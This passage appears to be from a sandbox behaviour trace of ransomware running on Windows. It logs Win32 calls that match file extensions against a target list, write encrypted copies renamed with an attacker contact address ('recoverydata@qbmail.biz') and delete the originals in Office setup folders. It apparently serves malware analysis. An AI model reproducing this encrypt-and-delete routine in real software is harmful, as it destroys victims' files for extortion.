Controller\\Proof.es\\Proof.XML") returned 98 [0095.402] lstrlenW (lpString=".doc") returned 4 [0095.402] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString=".docx") returned 5 [0095.402] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0095.402] lstrlenW (lpString=".pdf") returned 4 [0095.402] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString=".xls") returned 4 [0095.402] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString=".xlsx") returned 5 [0095.402] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0095.402] lstrlenW (lpString=".ppt") returned 4 [0095.402] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.402] lstrlenW (lpString=".zip") returned 4 [0095.402] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.402] lstrlenW (lpString=".rar") returned 4 [0095.402] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString=".bz2") returned 4 [0095.402] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.402] lstrlenW (lpString=".7z") returned 3 [0095.402] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.403] lstrlenW (lpString=".dbf") returned 4 [0095.403] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.403] lstrlenW (lpString=".1cd") returned 4 [0095.403] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0095.403] lstrlenW (lpString=".jpg") returned 4 [0095.403] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.403] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.403] lstrlenW (lpString="Proof.XML") returned 9 [0095.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.404] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1458) returned 1 [0095.404] CloseHandle (hObject=0x18c) returned 1 [0095.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0095.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0095.404] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.404] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0095.405] GetLastError () returned 0x0 [0095.405] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x5b2, lpOverlapped=0x0) returned 1 [0095.800] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0095.801] ReadFile (in: hFile=0x18c, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.805] WriteFile (in: hFile=0x1e0, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.805] SetEndOfFile (hFile=0x1e0) returned 1 [0095.806] CloseHandle (hObject=0x1e0) returned 1 [0095.806] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.806] SetEndOfFile (hFile=0x18c) returned 1 [0095.809] CloseHandle (hObject=0x18c) returned 1 [0095.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.809] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0095.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.810] lstrlenW (lpString=".doc") returned 4 [0095.810] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.810] lstrlenW (lpString=".docx") returned 5 [0095.810] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0095.811] lstrlenW (lpString=".pdf") returned 4 [0095.811] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.811] lstrlenW (lpString=".xls") returned 4 [0095.811] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.811] lstrlenW (lpString=".xlsx") returned 5 [0095.811] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0095.811] lstrlenW (lpString=".ppt") returned 4 [0095.811] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.811] lstrlenW (lpString=".zip") returned 4 [0095.811] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.811] lstrlenW (lpString=".rar") returned 4 [0095.811] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.812] lstrlenW (lpString=".bz2") returned 4 [0095.812] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.812] lstrlenW (lpString=".7z") returned 3 [0095.812] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.812] lstrlenW (lpString=".dbf") returned 4 [0095.812] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.812] lstrlenW (lpString=".1cd") returned 4 [0095.812] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.812] lstrlenW (lpString=".jpg") returned 4 [0095.812] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.813] lstrlenW (lpString=".doc") returned 4 [0095.813] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.813] lstrlenW (lpString=".docx") returned 5 [0095.813] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0095.813] lstrlenW (lpString=".pdf") returned 4 [0095.813] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.813] lstrlenW (lpString=".xls") returned 4 [0095.813] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.813] lstrlenW (lpString=".xlsx") returned 5 [0095.814] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0095.814] lstrlenW (lpString=".ppt") returned 4 [0095.814] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.814] lstrlenW (lpString=".zip") returned 4 [0095.814] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.814] lstrlenW (lpString=".rar") returned 4 [0095.814] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.814] lstrlenW (lpString=".bz2") returned 4 [0095.814] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.814] lstrlenW (lpString=".7z") returned 3 [0095.814] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.814] lstrlenW (lpString=".dbf") returned 4 [0095.814] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.815] lstrlenW (lpString=".1cd") returned 4 [0095.815] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0095.815] lstrlenW (lpString=".jpg") returned 4 [0095.815] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.815] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.815] lstrlenW (lpString="SETUP.XML") returned 9 [0095.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0096.200] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=5884) returned 1 [0096.200] CloseHandle (hObject=0x1dc) returned 1 [0096.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0096.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0096.200] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.201] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0096.628] GetLastError () returned 0x0 [0096.628] ReadFile (in: hFile=0x1dc, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x16fc, lpOverlapped=0x0) returned 1 [0096.632] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x1700, lpOverlapped=0x0) returned 1 [0096.633] ReadFile (in: hFile=0x1dc, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.633] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0096.634] SetEndOfFile (hFile=0x194) returned 1 [0096.634] CloseHandle (hObject=0x194) returned 1 [0096.635] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.635] SetEndOfFile (hFile=0x1dc) returned 1 [0096.636] CloseHandle (hObject=0x1dc) returned 1 [0096.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.636] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0096.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.637] lstrlenW (lpString=".doc") returned 4 [0096.637] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.637] lstrlenW (lpString=".docx") returned 5 [0096.637] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.637] lstrlenW (lpString=".pdf") returned 4 [0096.637] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.637] lstrlenW (lpString=".xls") returned 4 [0096.637] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.637] lstrlenW (lpString=".xlsx") returned 5 [0096.637] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.638] lstrlenW (lpString=".ppt") returned 4 [0096.638] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.638] lstrlenW (lpString=".zip") returned 4 [0096.638] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.638] lstrlenW (lpString=".rar") returned 4 [0096.638] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.638] lstrlenW (lpString=".bz2") returned 4 [0096.638] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.638] lstrlenW (lpString=".7z") returned 3 [0096.638] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.638] lstrlenW (lpString=".dbf") returned 4 [0096.638] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.638] lstrlenW (lpString=".1cd") returned 4 [0096.638] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.639] lstrlenW (lpString=".jpg") returned 4 [0096.639] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.639] lstrlenW (lpString=".doc") returned 4 [0096.639] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.639] lstrlenW (lpString=".docx") returned 5 [0096.639] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0096.639] lstrlenW (lpString=".pdf") returned 4 [0096.639] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.639] lstrlenW (lpString=".xls") returned 4 [0096.639] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.639] lstrlenW (lpString=".xlsx") returned 5 [0096.639] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0096.639] lstrlenW (lpString=".ppt") returned 4 [0096.639] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.640] lstrlenW (lpString=".zip") returned 4 [0096.640] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.640] lstrlenW (lpString=".rar") returned 4 [0096.640] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.640] lstrlenW (lpString=".bz2") returned 4 [0096.640] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.640] lstrlenW (lpString=".7z") returned 3 [0096.640] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.640] lstrlenW (lpString=".dbf") returned 4 [0096.640] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.640] lstrlenW (lpString=".1cd") returned 4 [0096.640] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0096.640] lstrlenW (lpString=".jpg") returned 4 [0096.640] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.641] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.641] lstrlenW (lpString="SETUP.XML") returned 9 [0096.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0097.208] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=20577) returned 1 [0097.208] CloseHandle (hObject=0x1b4) returned 1 [0097.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0097.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0097.209] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.209] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0097.445] GetLastError () returned 0x0 [0097.445] ReadFile (in: hFile=0x1b4, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x5061, lpOverlapped=0x0) returned 1 [0097.453] WriteFile (in: hFile=0x210, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x5070, lpOverlapped=0x0) returned 1 [0097.455] ReadFile (in: hFile=0x1b4, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.455] WriteFile (in: hFile=0x210, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0097.455] SetEndOfFile (hFile=0x210) returned 1 [0097.455] CloseHandle (hObject=0x210) returned 1 [0097.456] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.456] SetEndOfFile (hFile=0x1b4) returned 1 [0097.457] CloseHandle (hObject=0x1b4) returned 1 [0097.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0097.458] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0097.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.458] lstrlenW (lpString=".doc") returned 4 [0097.458] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.458] lstrlenW (lpString=".docx") returned 5 [0097.458] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0097.458] lstrlenW (lpString=".pdf") returned 4 [0097.458] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.458] lstrlenW (lpString=".xls") returned 4 [0097.459] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.459] lstrlenW (lpString=".xlsx") returned 5 [0097.459] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0097.459] lstrlenW (lpString=".ppt") returned 4 [0097.459] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0097.459] lstrlenW (lpString=".zip") returned 4 [0097.459] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.459] lstrlenW (lpString=".rar") returned 4 [0097.459] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.459] lstrlenW (lpString=".bz2") returned 4 [0097.459] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.459] lstrlenW (lpString=".7z") returned 3 [0097.459] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.459] lstrlenW 